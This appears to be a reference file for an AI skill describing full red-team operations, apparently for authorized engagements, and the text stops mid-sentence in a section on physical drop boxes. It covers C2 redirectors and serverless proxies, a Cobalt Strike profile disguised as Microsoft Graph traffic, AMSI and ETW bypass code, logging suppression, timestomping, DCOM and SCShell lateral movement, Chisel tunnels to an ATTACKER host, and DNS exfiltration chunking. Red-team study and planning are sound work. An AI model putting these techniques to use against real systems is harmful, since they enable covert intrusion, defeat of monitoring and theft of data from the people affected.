--- name: advanced-redteaming description: > Full-spectrum red team operations methodology spanning the complete engagement lifecycle — scoping, ROE negotiation, multi-tier C2 infrastructure with redirectors and domain fronting, malleable traffic profiles, CDN-based C2 channels, serverless redirectors, Terraform-automated deployment, BOF and inline .NET execution, COFF loaders, sleep obfuscation, call-stack spoofing, PPID spoofing, Sysmon evasion, named-pipe OPSEC, DCOM/WinRM/SCShell lateral movement, DNS-over-HTTPS persistence, purple-team debriefing with ATT&CK Navigator heatmaps, and Atomic Red Team validation. MITRE ATT&CK alignment across all phases from TA0042 through TA0010. keywords: - red team - adversary simulation - C2 infrastructure - malleable profile - redirector - domain fronting - OPSEC - lateral movement - evasion - purple team - ATT&CK - BOF - sleep obfuscation - PPID spoofing - Sysmon evasion - serverless C2 - Terraform tools: - Cobalt Strike - Sliver - Mythic - Havoc - Metasploit - Terraform - Ansible - Cloudflare - nginx - Caddy opsec: critical --- # Advanced Red Team Operations Adversary simulation goes beyond vulnerability scanning or penetration testing. A red team operation replicates the tactics, techniques, and procedures of a real threat actor to measure how well an organization detects and responds under pressure. Every phase — from the initial scoping call through the final purple-team debrief — demands deliberate planning, airtight operational security, and meticulous documentation. This reference covers the full arc of an engagement and the techniques that keep it alive against modern defensive stacks. ## Operational Workflow — End to End 1. Lock down scope, rules of engagement, deconfliction protocols, and legal authorization. 2. Provision segmented attack infrastructure across multiple tiers with aged domains, valid certificates, and traffic-filtering redirectors. 3. Craft C2 communication profiles that mirror the target's normal network behavior. 4. Execute the intrusion chain under strict OPSEC controls, logging every action. 5. Harvest, encrypt, and stage data while preserving forensic chain of custody. 6. Bypass endpoint and network defenses using validated evasion techniques. 7. Map all actions to MITRE ATT&CK, produce structured reporting, and run the debrief. --- ## 1. Engagement Planning Thorough planning shields both the operator and the client from legal exposure and operational chaos. ### 1.1 Defining Objectives and Boundaries Clarify what constitutes a win. Typical objective classes: | Objective Class | Example | ATT&CK Mapping | |-----------------|---------|----------------| | Data theft | Extract target records from the finance database | TA0009, TA0010 | | Domain takeover | Obtain Domain Admin or equivalent | TA0004, TA0006 | | Process disruption | Prove ability to halt the payment pipeline | TA0040 | | Physical breach | Enter the server room unsupervised | TA0001 (physical) | | Cloud compromise | Pivot from on-prem AD to Azure/AWS tenant admin | TA0008 | Explicitly document exclusions: production databases that cannot tolerate outages, third-party SaaS platforms without written consent from the provider, destructive payloads (wipers, ransomware unless explicitly in scope), and any individuals who must not be targeted with social engineering. ### 1.2 Rules of Engagement (ROE) The ROE is a legally binding contract. It must specify: - **Activity window** — precise dates, hours, and time zones when operations are authorized. - **Permitted tactics** — which ATT&CK tactics are allowed; for example, whether physical access, supply-chain simulation, or insider-threat emulation are in bounds. - **Escalation triggers** — events that require an immediate pause and client notification: discovery of an active real-world compromise, encounter with restricted data classes (PCI, PHI, child exploitation material), or unintended service disruption. - **24/7 emergency line** — a phone number, not an email, that reaches a designated client representative at any hour. - **Legal authorization** — explicit reference to the applicable computer-crime statute (CFAA in the US, Computer Misuse Act in the UK, StGB §202a-c in Germany, or the relevant local law) with signature from an officer empowered to authorize testing. ### 1.3 Deconfliction Procedures Defenders need a way to distinguish your operations from an actual intrusion. **Trusted agent model** — one or two defender-side individuals who are read into the engagement and can confirm or deny specific activity via a pre-agreed secure channel. **Identification code system** — embed a unique token in your tooling or traffic that the trusted agent can search for in their SIEM without disclosing the engagement to the broader SOC. **Real-time deconfliction ledger** — every operator action is timestamped and shared with the trusted agent through an encrypted channel (Signal, Matrix, or an encrypted shared document). ```text # Deconfliction ledger entry format 2026-10-15T09:17:42Z | OP: ghost | ACT: credential-access HOST: 10.10.5.44 (WS-FIN08) TTP: T1003.001 (LSASS Memory) TOOL: nanodump via BOF NOTE: captured 3 domain-admin NTLM hashes DECONF: ECHO-TANGO-7291 ``` ### 1.4 Secure Operator Communications All coordination happens over end-to-end encrypted channels. Never send target details through corporate Slack, unencrypted email, or SMS. Stand up a dedicated encrypted platform (self-hosted Matrix/Element, Signal group, or Wire) for the engagement team. Transfer files and evidence archives over mutually authenticated TLS or as GPG-encrypted bundles — never plaintext. --- ## 2. Infrastructure Deployment Well-built infrastructure is the difference between an operation that survives weeks and one that burns in hours. Every piece of infrastructure maps to MITRE ATT&CK Resource Development (TA0042). ### 2.1 Tiered Segmentation Divide infrastructure into isolated tiers so that compromising one layer does not expose the others. | Tier | Function | Burn Tolerance | Typical Implementation | |------|----------|----------------|------------------------| | T0 — Staging | Payload hosting, phishing delivery | Highest — expect to lose it | Aged domain + transactional SMTP provider | | T1 — Interactive C2 | Hands-on-keyboard operator sessions | Medium | VPS behind CDN or Cloudflare tunnel | | T2 — Long-haul C2 | Persistent low-and-slow callbacks | Lowest — guard heavily | DNS-over-HTTPS beacon on a separate domain | | T3 — Management | Team server administration, evidence storage | Zero — never exposed | Localhost-only, accessed via SSH tunnel or Nebula mesh | Each tier uses distinct domains registered through different registrars, hosted on different VPS providers, and operated under separate pseudonymous accounts. If T1 burns, operators pivot through T2 without needing to re-phish. ### 2.2 Domain Acquisition and Aging Purchase domains 30 days or more before the engagement starts. During the aging window: ```bash # Provision a placeholder site with valid TLS sudo certbot certonly --standalone -d ops-cloud.example.com mkdir -p /var/www/ops-cloud && echo "

Cloud Portal — Maintenance

" > /var/www/ops-cloud/index.html # Submit to web categorization engines # Bluecoat: https://sitereview.bluecoat.com/ # FortiGuard: https://www.fortiguard.com/webfilter # Palo Alto: https://urlfiltering.paloaltonetworks.com/ # Target category: "Information Technology" or "Business" — never "Uncategorized" # Verify categorization after 10 days curl -s "https://sitereview.bluecoat.com/resource/lookup" \ -d "url=ops-cloud.example.com" | jq . ``` Pick domain names that feel natural in the target's industry. A healthcare client calls for domains that look like telehealth or EHR platforms, not gaming sites. **Certificate Transparency monitoring** — defenders hunt for suspicious domains via CT logs. Monitor your own domains with `certspotter` or `crt.sh` to know if the blue team spots you: ```bash # Check if your domain appears in CT logs curl -s "https://crt.sh/?q=ops-cloud.example.com&output=json" | jq '.[].name_value' ``` ### 2.3 Redirector Architecture The team server never faces the internet directly. Redirectors sit in front, filtering traffic and forwarding only requests that match your C2 profile. **Nginx smart redirector:** ```nginx server { listen 443 ssl http2; server_name ops-cloud.example.com; ssl_certificate /etc/letsencrypt/live/ops-cloud.example.com/fullchain.pem; ssl_certificate_key /etc/letsencrypt/live/ops-cloud.example.com/privkey.pem; # Forward only requests matching the malleable profile location /api/v2/sync { if ($http_user_agent !~* "Microsoft-CryptoAPI") { return 302 https://learn.microsoft.com; } proxy_pass https://TEAM_SERVER_IP:8443; proxy_ssl_verify off; proxy_set_header Host $host; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; } # Everything else bounces to a benign destination location / { return 302 https://learn.microsoft.com; } } ``` **Caddy as a lightweight alternative:** ``` ops-cloud.example.com { @beacon { path /api/v2/sync header User-Agent *Microsoft-CryptoAPI* } reverse_proxy @beacon https://TEAM_SERVER_IP:8443 { transport http { tls_insecure_skip_verify } } redir * https://learn.microsoft.com 302 } ``` **Serverless redirectors — cloud functions as ephemeral proxies:** ```python # AWS Lambda function as a C2 redirector # API Gateway triggers this Lambda; it validates and forwards to team server import json, urllib3 TEAM_SERVER = "https://TEAM_SERVER_IP:8443" VALID_UA = "Microsoft-CryptoAPI" VALID_PATH = "/api/v2/sync" def lambda_handler(event, context): ua = event.get("headers", {}).get("user-agent", "") path = event.get("path", "") if VALID_UA not in ua or path != VALID_PATH: return {"statusCode": 302, "headers": {"Location": "https://learn.microsoft.com"}} http = urllib3.PoolManager() resp = http.request("POST", TEAM_SERVER + path, body=event.get("body", ""), headers={"Content-Type": "application/octet-stream"}) return {"statusCode": resp.status, "body": resp.data.decode()} ``` Advantages: no persistent VPS to fingerprint, ephemeral execution, and the traffic originates from a major cloud provider's IP space. **Terraform-automated infrastructure deployment:** ```hcl # main.tf — reproducible red team infrastructure provider "aws" { region = "us-east-1" } resource "aws_instance" "redirector" { ami = "ami-0abcdef1234567890" instance_type = "t3.micro" key_name = var.ssh_key_name tags = { Name = "redirector-t1" } user_data = <<-EOF #!/bin/bash apt-get update && apt-get install -y nginx certbot python3-certbot-nginx # Deploy redirector config from S3 bucket aws s3 cp s3://redteam-configs/redirector.conf /etc/nginx/sites-available/default certbot --nginx -d ${var.domain} --non-interactive --agree-tos -m ops@${var.domain} systemctl restart nginx EOF } resource "aws_instance" "teamserver" { ami = "ami-0abcdef1234567890" instance_type = "t3.medium" key_name = var.ssh_key_name tags = { Name = "teamserver" } # Team server binds to localhost only — accessed via SSH tunnel user_data = <<-EOF #!/bin/bash # Install and configure C2 framework # All listeners bind to 127.0.0.1 EOF } ``` Tear down everything with `terraform destroy` at engagement end. Reproducible and auditable. ### 2.4 Team Server Access The team server binds exclusively to the loopback interface. Operators reach it through one of: ```bash # Option A: Cloudflare Zero Trust tunnel cloudflared tunnel create rt-mgmt cloudflared tunnel route dns rt-mgmt mgmt.internal-ops.example.com cloudflared tunnel run --url tcp://127.0.0.1:50050 rt-mgmt # Option B: SSH tunnel ssh -L 50050:127.0.0.1:50050 operator@redirector-vps # Option C: Nebula mesh VPN (overlay network — no exposed ports) # Generate Nebula certificates for each operator nebula-cert sign -name "operator-ghost" -ip "10.42.0.2/24" -groups "redteam" # Each operator runs nebula with their cert — mesh forms automatically # Team server accessible at its Nebula IP, invisible from public internet ``` ### 2.5 TLS Certificate Management Valid certificates from public CAs are non-negotiable — self-signed certs are a fingerprinting gift to defenders. ```bash # Let's Encrypt certificate sudo certbot certonly --standalone -d c2.example.com # Convert for Cobalt Strike Java Keystore openssl pkcs12 -export -in fullchain.pem -inkey privkey.pem \ -out c2.p12 -name c2cert -passout pass:changeme keytool -importkeystore -srckeystore c2.p12 -srcstoretype pkcs12 \ -destkeystore c2.store -deststorepass changeme -srcstorepass changeme # For Sliver — point to PEM files directly in the listener config ``` --- ## 3. Command and Control Tradecraft C2 communications must be indistinguishable from the target's legitimate traffic. Map to MITRE ATT&CK Command and Control (TA0011). ### 3.1 Malleable Profile Design Profile your target's real traffic before writing the malleable profile. Passive DNS, proxy logs (if available from the client), and public job postings that mention specific SaaS tools all inform what your beacon traffic should look like. ```text # Cobalt Strike malleable profile — Microsoft Teams / Graph API disguise set sleeptime "45000"; set jitter "40"; set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0"; set host_stage "false"; set data_jitter "100"; # In-memory obfuscation set sleep_mask "true"; set obfuscate "true"; set cleanup "true"; # Spawn-to: legitimate binary, not rundll32 stage { set stomppe "true"; set obfuscate "true"; set cleanup "true"; set module_x64 "xpsservices.dll"; } process-inject { set allocator "NtMapViewOfSection"; set min_alloc "17500"; set userwx "false"; set startrwx "false"; set bof_allocator "MapViewOfFile"; set bof_reuse_memory "true"; } http-get { set uri "/v1.0/me/drive/root/children /v1.0/me/messages"; client { header "Accept" "application/json"; header "Authorization" "Bearer eyJhbGciOiJSUzI1NiIs..."; metadata { base64url; prepend "X-Request-Token="; header "Cookie"; } } server { header "Content-Type" "application/json; odata.metadata=minimal"; header "request-id" "b4f2c3a1-8e7d-4c5b-9f1a-2d3e4f5a6b7c"; output { base64url; prepend "{\"@odata.context\":\"https://graph.microsoft.com/v1.0/$metadata#drive\",\"value\":[{\"content\":\""; append "\"}]}"; print; } } } http-post { set uri "/v1.0/me/sendMail"; client { header "Content-Type" "application/json"; id { base64url; prepend "client-request-id="; header "Cookie"; } output { base64url; print; } } server { header "Content-Type" "application/json"; output { base64url; prepend "{\"status\":\"accepted\",\"messageId\":\""; append "\"}"; print; } } } ``` ### 3.2 Beacon Timing Discipline | Beacon State | Sleep Interval | Jitter | Context | |--------------|---------------|--------|---------| | Hands-on-keyboard (T1) | 3-10 seconds | 30-50% | Active operator session | | Idle standby (T1) | 60-300 seconds | 40-50% | Awaiting tasking | | Persistent low-and-slow (T2) | 8-24 hours | 50% | Long-term callback only | | Data exfiltration burst | 15-45 seconds | 20% | Active data transfer window | **Mandatory rules:** - Kill dates on every implant — a beacon without an expiry is a legal liability. - Zero-sleep is prohibited except during active keyboard sessions. - Change sleep intervals contextually — drop to interactive when working, raise to idle when stepping away. ### 3.3 Multi-Channel Resilience Design fallback chains so that losing one channel does not strand the implant. ```text Fallback priority: 1. HTTPS to Domain-A via Azure CDN (domain fronting) 2. DNS-over-HTTPS to Domain-B through Cloudflare resolver 3. DNS TXT queries to Domain-C (authoritative NS you control) 4. Raw TCP to hardcoded IP (emergency only — high detection risk) ``` The implant walks the chain with exponential backoff. If every channel fails, it enters hibernation and retries on a slow schedule rather than generating connection-storm noise. ### 3.4 DNS-over-HTTPS (DoH) C2 For environments with strict egress filtering, DoH beacons blend with legitimate DNS traffic to public resolvers: ```text # Beacon encodes tasking in DNS queries to your authoritative domain # Queries route through Cloudflare DoH (1.1.1.1/dns-query) or Google DoH (8.8.8.8/dns-query) # Your authoritative NS responds with encoded command data in TXT records # Looks like normal encrypted DNS resolution to the proxy/firewall ``` ### 3.5 Domain Fronting — 2025-2026 Reality Many CDN providers now block domain fronting. What still works: | Provider | Status (2026) | Notes | |----------|--------------|-------| | Azure CDN | Works with certain configurations | Use azureedge.net front | | Fastly | Partially works | Requires careful header setup | | Cloudflare | Blocked (domain-validated SNI) | Use Cloudflare Workers instead | | AWS CloudFront | Blocked since 2018 | Do not attempt | **Cloudflare Workers as a fronting substitute:** ```javascript // Worker script: proxies beacon traffic to team server addEventListener('fetch', event => { event.respondWith(handleRequest(event.request)) }) async function handleRequest(request) { const url = new URL(request.url) url.hostname = 'TEAM_SERVER_DOMAIN' return fetch(url.toString(), { method: request.method, headers: request.headers, body: request.body }) } ``` Traffic appears to originate from `workers.dev` or your custom Workers domain — a high-reputation Cloudflare address. --- ## 4. Execution Tradecraft ### 4.1 Beacon Object Files (BOFs) BOFs execute compiled C object files directly inside the beacon process. No fork-and-run, no child process creation, no on-disk artifacts. ```text # Advantages over execute-assembly / fork-and-run: # - No new process spawned (evades parent-child monitoring) # - No .NET CLR loaded (avoids ETW .NET runtime telemetry) # - Runs in beacon's existing memory (smaller footprint) # - No on-disk artifacts # Usage in Cobalt Strike: inline-execute /path/to/bof.o arg1 arg2 # Common BOFs: # - nanodump (LSASS dump without MiniDumpWriteDump) # - SA-BOF (situational awareness without net.exe / whoami.exe) # - inject-bof (process injection from BOF context) # - klist-bof (Kerberos ticket listing without klist.exe) ``` ### 4.2 Inline .NET Execution Standard `execute-assembly` forks a sacrificial process, loads the CLR, and runs the assembly. This generates a conspicuous process tree and ETW events. Alternatives: ```text # InlineExecute-Assembly — loads the assembly inside the beacon process # No child process, no fork-and-run # Requires patching AMSI and ETW before loading # COFF Loader — run compiled C object files as if they were BOFs # Useful for porting existing tools to in-memory execution # TrustedSec's COFFLoader, Outflank's InlineWhispers ``` ### 4.3 Reflective Loading and PIC Conversion Convert any PE tool into position-independent shellcode for injection or in-memory execution: ```bash # Donut — convert .NET assembly or PE to PIC shellcode donut -i Rubeus.exe -o rubeus.bin -f 1 -a 2 -e 3 # sRDI — Shellcode Reflective DLL Injection # Convert any DLL to position-independent shellcode python3 ConvertToShellcode.py -f mimikatz.dll -o mimikatz.bin # The resulting shellcode can be loaded via BOF, process injection, # or any shellcode execution primitive ``` ### 4.4 LOLBins — Living Off the Land Favor built-in OS binaries over custom tools. These generate expected process names in endpoint telemetry. | Binary | Offensive Use | ATT&CK | OPSEC Notes | |--------|--------------|--------|-------------| | `certutil.exe` | File download, base64 decode | T1105, T1140 | High detection — use sparingly | | `mshta.exe` | Execute HTA/JS payloads | T1218.005 | Triggers in most EDR rulesets | | `msbuild.exe` | Inline C# task execution | T1127.001 | Bypasses AppLocker in many configs | | `rundll32.exe` | DLL execution, scriptlet loading | T1218.011 | Monitor command-line args | | `regsvr32.exe` | Scriptlet execution via COM | T1218.010 | Network-capable (fetch remote SCT) | | `wmic.exe` | Process creation, lateral move | T1047 | Deprecated but still present | | `bitsadmin.exe` | Stealthy file download via BITS | T1197 | Low-and-slow transfer | | `curl.exe` | Direct file download (Win10+) | T1105 | Less monitored than certutil | | `forfiles.exe` | Indirect command execution | T1202 | Unusual — lower signature coverage | | `pcalua.exe` | Program Compatibility Assistant exec | T1202 | Rarely monitored | | `cmstp.exe` | INF-based scriptlet execution | T1218.003 | AppLocker bypass capable | --- ## 5. OPSEC Discipline Every action produces artifacts. Your job is to suppress, control, and eventually erase those artifacts. MITRE ATT&CK Defense Evasion (TA0005). ### 5.1 Attribution Separation - Dedicated VPN or Tor circuit for all engagement-related activity — domain registration, VPS provisioning, OSINT research. - Engagement-specific pseudonymous accounts with disposable email addresses. Never reuse across clients. - Zero infrastructure reuse between engagements — no shared domains, IPs, or tooling. - Strip metadata from every file before delivery: ```bash # Remove EXIF, author, company, and producer metadata exiftool -all= -overwrite_original phishing_document.docx # Confirm clean exiftool phishing_document.docx | grep -iE "author|creator|company|producer|software" # Strip build paths and debug symbols from compiled binaries strip --strip-all implant_binary objcopy --remove-section=.note.gnu.build-id implant_binary ``` ### 5.2 Timestomping Dropped Files Every file you place on a target has a creation timestamp that stands out if surrounding files are months or years old. Align your file timestamps with the directory's existing content: ```powershell # PowerShell timestomp — match timestamps to a neighboring file $ref = Get-Item "C:\Windows\System32\kernel32.dll" $target = Get-Item "C:\ProgramData\updater.dll" $target.CreationTime = $ref.CreationTime $target.LastWriteTime = $ref.LastWriteTime $target.LastAccessTime = $ref.LastAccessTime ``` ```bash # Linux timestomp — match to reference file touch -r /usr/lib/x86_64-linux-gnu/libc.so.6 /tmp/implant ``` ### 5.3 Process Argument Spoofing EDR logs command-line arguments at process creation. Spoof the arguments after launch: ```text # Technique: Create process in suspended state with benign arguments # Then overwrite PEB->ProcessParameters->CommandLine with the real arguments # Resume the process — EDR logged the benign arguments, but the real ones execute # 1. CreateProcess("cmd.exe /c echo hello", CREATE_SUSPENDED) # EDR logs: cmd.exe /c echo hello # 2. Read PEB.ProcessParameters.CommandLine from suspended process # 3. Overwrite with: cmd.exe /c net user hacker Pass123! /add # 4. ResumeThread() # Actual execution: the real command ``` ### 5.4 PPID Spoofing Make every spawned process appear to have a legitimate parent — not your beacon process. ```text # Use PROC_THREAD_ATTRIBUTE_PARENT_PROCESS with UpdateProcThreadAttribute # Set parent to explorer.exe, svchost.exe, or RuntimeBroker.exe # EDR sees: svchost.exe → your_process (normal) # Instead of: beacon.exe → your_process (suspicious) # In Cobalt Strike: set ppid in malleable profile or use ppid command ppid ``` ### 5.5 Sysmon Evasion Identify the target's Sysmon configuration, then operate in its blind spots: ```powershell # Dump Sysmon config (if readable) # Sysmon stores its config in the registry: reg query "HKLM\SYSTEM\CurrentControlSet\Services\SysmonDrv\Parameters" # Or extract from the Sysmon driver's binary blob: # Parse the XML config to find which events are monitored and which are excluded # Focus operations on event types NOT captured by the config # Common Sysmon gaps: # - WMI event subscriptions (Event ID 19-21) often not configured # - Named pipe events (Event ID 17-18) frequently excluded # - DNS queries (Event ID 22) may not log all processes # - Clipboard events (Event ID 24) rarely enabled ``` ### 5.6 Named Pipe OPSEC Default Cobalt Strike pipe names are universally signatured. Randomize them: ```text # In malleable profile pipename "mojo.%d.%d.%d"; # Chromium-style pipename_stager "TSVCPIPE-%08x-%04x-%04x-%04x-%012x"; # Windows service-style # Avoid these defaults (instantly detected): # \\.\pipe\msagent_* # \\.\pipe\MSSE-* # \\.\pipe\postex_* # \\.\pipe\status_* ``` ### 5.7 Thread Stack Spoofing During Sleep When the beacon is sleeping, its thread's call stack reveals it is waiting inside shellcode (a non-backed memory region). Sleep obfuscation techniques encrypt the beacon in memory and spoof the call stack to look like a legitimate sleeping thread: ```text # Ekko / Ziliean / DeathSleep # 1. Encrypt the beacon's memory region # 2. Queue an APC to decrypt after the sleep interval # 3. Spoof the sleeping thread's stack to point to ntdll!RtlUserThreadStart # or kernel32!BaseThreadInitThunk (legitimate sleep frame) # 4. Memory scanners see encrypted garbage during sleep # 5. Call stack scanners see a normal sleeping thread # In Cobalt Strike 4.9+: set sleep_mask "true" enables Ekko-style obfuscation # In Sliver: built-in sleep obfuscation with encrypted beacon memory ``` ### 5.8 ETW Blind Spots by Windows Version | Windows Version | Known Telemetry Gaps | |----------------|---------------------| | Windows 10 1809 | No Threat Intelligence ETW provider | | Windows 10 1903+ | Threat Intelligence provider present but not all EDR consume it | | Windows 11 | Enhanced kernel-audit-api-calls ETW — but patchable from ring-3 | | Server 2016 | No AMSI for .NET 4.x assemblies loaded via unmanaged host | | Server 2019 | AMSI present but many configurations skip VBScript/JScript | | Server 2022 | Full AMSI + ETW but kernel callbacks are the primary detection surface | ### 5.9 Tool Signature Management Every public tool has signatures in every major AV/EDR. Modify before use: - **Cobalt Strike** — unique watermark, randomized pipe names, custom process injection method, non-default spawn-to binary, host_stage disabled. - **Mimikatz** — recompile from source: rename functions, encrypt strings, strip debug symbols. Or use BOF alternatives (nanodump, MiniDumpWriteDump BOF). - **Impacket** — change default service names (`RemComSvc`), pipe names, and SMB banner strings that defenders signature. - **Rubeus/Certify/Seatbelt** — convert to PIC shellcode with Donut and load in-memory via BOF. Never drop to disk. ### 5.10 Indicator Tracking and Cleanup Maintain a live inventory of every artifact introduced to the target environment: files dropped, registry modifications, services installed, scheduled tasks created, user accounts provisioned, DNS records touched. At engagement close, remove every artifact or hand the client a complete cleanup manifest. ```powershell # Cleanup script — execute only after full documentation # Remove dropped files Remove-Item -Force "C:\ProgramData\svchost_update.dll" Remove-Item -Force "C:\Windows\Temp\debug.bin" # Remove persistence Unregister-ScheduledTask -TaskName "MicrosoftEdgeUpdateCheck" -Confirm:$false Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "EdgeUpdate" # Remove created accounts Remove-LocalUser -Name "svc_monitoring$" # Remove WMI event subscriptions Get-WMIObject -Namespace root\subscription -Class __EventFilter | Where-Object { $_.Name -eq "UpdateFilter" } | Remove-WMIObject Get-WMIObject -Namespace root\subscription -Class CommandLineEventConsumer | Where-Object { $_.Name -eq "UpdateConsumer" } | Remove-WMIObject ``` --- ## 6. Data Handling Collected data is the most sensitive element of the engagement. Mishandling it creates legal exposure and destroys client trust. MITRE ATT&CK Collection (TA0009) and Exfiltration (TA0010). ### 6.1 Immediate Encryption Encrypt everything at the point of collection. No plaintext credentials, PII, or business-sensitive data may exist on operator machines or in transit without encryption. ```bash # Encrypt before transfer tar czf - loot/ | gpg --symmetric --cipher-algo AES256 \ --batch --passphrase-file /path/to/engagement.key > loot.tar.gz.gpg # Transfer to evidence server scp loot.tar.gz.gpg operator@evidence.internal:/engagements/2026-CLIENT/ # Integrity verification sha256sum loot.tar.gz.gpg > loot.tar.gz.gpg.sha256 ``` ### 6.2 Staging and Chunked Exfiltration Never exfiltrate directly from the source system. Copy to a staging directory, compress, encrypt, then transfer through the C2 channel or a dedicated exfiltration path. For large datasets, chunk the transfer to stay under DLP thresholds: ```python import base64 def chunk_for_dns(filepath, chunk_bytes=180): """Split file into DNS-safe chunks for TXT query exfiltration.""" with open(filepath, 'rb') as f: raw = f.read() encoded = base64.b32encode(raw).decode() return [encoded[i:i+chunk_bytes] for i in range(0, len(encoded), chunk_bytes)] # Each chunk becomes: ..exfil.yourdomain.com # Reassemble from DNS server query logs ``` For HTTPS exfiltration, split into multiple POST requests with jittered timing to avoid triggering volume-based alerts. ### 6.3 Chain of Custody - SHA-256 hash every collected file at the moment of acquisition. - Record who touched the data, when, and for what purpose. - Store evidence on encrypted, access-controlled storage with audit logging. - Destroy all client data after the contractually agreed retention period (typically 30-90 days following report delivery). --- ## 7. Lateral Movement Once you have a foothold, expand access across the environment. MITRE ATT&CK Lateral Movement (TA0008). ### 7.1 Remote Execution Methods | Method | Protocol | OPSEC Profile | Tool | |--------|----------|---------------|------| | WinRM/PSRemoting | TCP 5985/5986 | Medium — expected in managed environments | evil-winrm, Enter-PSSession | | WMI | DCOM/TCP 135 | Medium — legitimate admin tool | wmiexec.py, Invoke-WMICommand | | DCOM | TCP 135 + dynamic | Low detection — rarely monitored | dcomexec.py, custom DCOM calls | | SMB exec | TCP 445 | High detection — PsExec is universally signatured | smbexec.py (no binary drop) | | Scheduled Task | TCP 445/135 | Medium — creates visible task | atexec.py, schtasks /create | | SCShell | TCP 445 | Low — modifies existing service config, no binary drop | scshell.py | | SSH | TCP 22 | Low — expected on Linux hosts | ssh, ProxyJump | | RDP hijack | Console | Low — no new session created | tscon session_id /dest:console (requires SYSTEM) | ### 7.2 DCOM Lateral Movement Abuse DCOM objects for fileless remote execution: ```powershell # MMC20.Application — execute command via Document.ActiveView.ExecuteShellCommand $com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","TARGET_IP")) $com.Document.ActiveView.ExecuteShellCommand("cmd.exe",$null,"/c whoami > C:\Windows\Temp\out.txt","7") # ShellWindows — execute via explorer.exe COM object $com = [activator]::CreateInstance([type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39","TARGET_IP")) $com.item().Document.Application.ShellExecute("cmd.exe","/c whoami","C:\Windows\System32",$null,0) # ShellBrowserWindow $com = [activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","TARGET_IP")) $com.Document.Application.ShellExecute("cmd.exe","/c whoami","C:\Windows\System32",$null,0) ``` ### 7.3 SCShell — Fileless Service Abuse ```bash # Modify an existing service's binary path to your command # Execute by starting/stopping the service # No binary dropped, no new service created scshell.py domain.local/admin:password@TARGET_IP "cmd /c whoami > C:\Windows\Temp\proof.txt" ``` ### 7.4 Multi-Hop Pivoting ```bash # SOCKS proxy through beacon for tool routing # Cobalt Strike: socks 1080 # Sliver: socks5 start # Proxychains configuration echo "socks5 127.0.0.1 1080" >> /etc/proxychains4.conf proxychains4 crackmapexec smb 10.10.5.0/24 -u admin -H NTLM_HASH # Chisel for multi-hop tunneling # Hop 1 (compromised host A): ./chisel client ATTACKER:8080 R:socks # Hop 2 (compromised host B, reached through A): ./chisel client HOST_A:9090 R:socks # SSH ProxyJump for Linux pivots ssh -J user@jumphost1,user@jumphost2 user@final_target ``` ### 7.5 WinRM with Certificate Authentication ```powershell # Generate client certificate for WinRM auth (no password needed on wire) # More stealthy than NTLM/Kerberos — appears as legitimate cert-based admin access # Requires client cert enrolled from internal CA or manually trusted $sess = New-PSSession -ComputerName TARGET -CertificateThumbprint "CERT_THUMBPRINT" Invoke-Command -Session $sess -ScriptBlock { whoami } ``` --- ## 8. Evasion Techniques ### 8.1 AMSI Neutralization AMSI gates PowerShell, VBScript, JScript, and .NET assembly loads. Disable it before running anything that triggers scanning. ```powershell # Reflection-based: force amsiInitFailed = True $t = [Ref].Assembly.GetType('System.Management.Automation.Am'+'siUt'+'ils') $f = $t.GetField('am'+'siIn'+'itFailed','NonPublic,Static') $f.SetValue($null,$true) # Memory patch: overwrite AmsiScanBuffer entry point with RET # Locate amsi.dll → find AmsiScanBuffer export → VirtualProtect RWX → write 0xC3 → restore RX ``` ### 8.2 ETW Suppression ```csharp // Patch EtwEventWrite to suppress telemetry to EDR IntPtr ntdll = GetModuleHandle("ntdll.dll"); IntPtr etwAddr = GetProcAddress(ntdll, "EtwEventWrite"); VirtualProtect(etwAddr, 1, 0x40, out uint old); Marshal.WriteByte(etwAddr, 0xC3); // ret VirtualProtect(etwAddr, 1, old, out _); ``` ```powershell # Disable PowerShell script-block logging for the current session $s = [Ref].Assembly.GetType('System.Management.Automation.Utils').GetField('cachedGroupPolicySettings','NonPublic,Static').GetValue($null) $s['ScriptBlockLogging'] = @{} $s['ScriptBlockLogging']['EnableScriptBlockLogging'] = 0 $s['ScriptBlockLogging']['EnableScriptBlockInvocationLogging'] = 0 ``` ### 8.3 Userland Unhooking ```text # Full ntdll remap from disk: # 1. CreateFile("C:\Windows\System32\ntdll.dll") # 2. CreateFileMapping → MapViewOfFile (clean copy) # 3. Parse PE headers to locate .text section in both copies # 4. VirtualProtect(hooked_ntdll_text, PAGE_EXECUTE_READWRITE) # 5. memcpy(hooked_text, clean_text, text_size) # 6. VirtualProtect(hooked_ntdll_text, PAGE_EXECUTE_READ) # All EDR inline hooks removed # KnownDlls remap (faster — no disk I/O): # Open \KnownDlls\ntdll.dll section object via NtOpenSection # MapViewOfSection to get a guaranteed clean copy # Overwrite hooked .text as above ``` ### 8.4 Direct and Indirect Syscalls ```text # Direct: mov r10, rcx; mov eax, SSN; syscall # Bypasses ntdll hooks entirely # Detection: syscall instruction from non-ntdll memory (suspicious stack) # Indirect: mov r10, rcx; mov eax, SSN; JMP [ntdll_syscall_gadget] # The actual syscall instruction executes from ntdll address space # Stack looks legitimate — syscall return address is inside ntdll # SSN resolution: # Hell's Gate: read SSN from ntdll export (mov eax, SSN bytes) # Halo's Gate: if target function is hooked, read neighbor's SSN ± offset # Tartarus' Gate: walk further when multiple consecutive functions are hooked ``` --- ## 9. Engagement Scenarios ### 9.1 Assumed Breach Start with a pre-positioned foothold (standard user workstation with domain credentials). Focus on internal detection and response testing: privilege escalation, credential harvesting, lateral movement, and objective completion. Skip initial access entirely. Primary ATT&CK coverage: TA0004, TA0006, TA0007, TA0008. ### 9.2 External Full-Chain Complete adversary simulation from the internet. OSINT reconnaissance, phishing or external exploitation for initial access, then the full post-compromise sequence through exfiltration. Tests the entire kill chain from TA0043 through TA0010. ### 9.3 Insider Threat Emulation Simulate a disgruntled or compromised employee with legitimate credentials and physical access. Measure what damage an insider can inflict: unauthorized data access, intellectual property theft, process sabotage. Tests DLP, behavioral analytics, and access controls. ### 9.4 Hybrid Physical-Cyber Combine physical penetration (tailgating, badge cloning, lock bypass) with network operations. Plant a drop box (Raspberry Pi, LAN Turtle, or similar implant) during the physical breach and use it as the initial 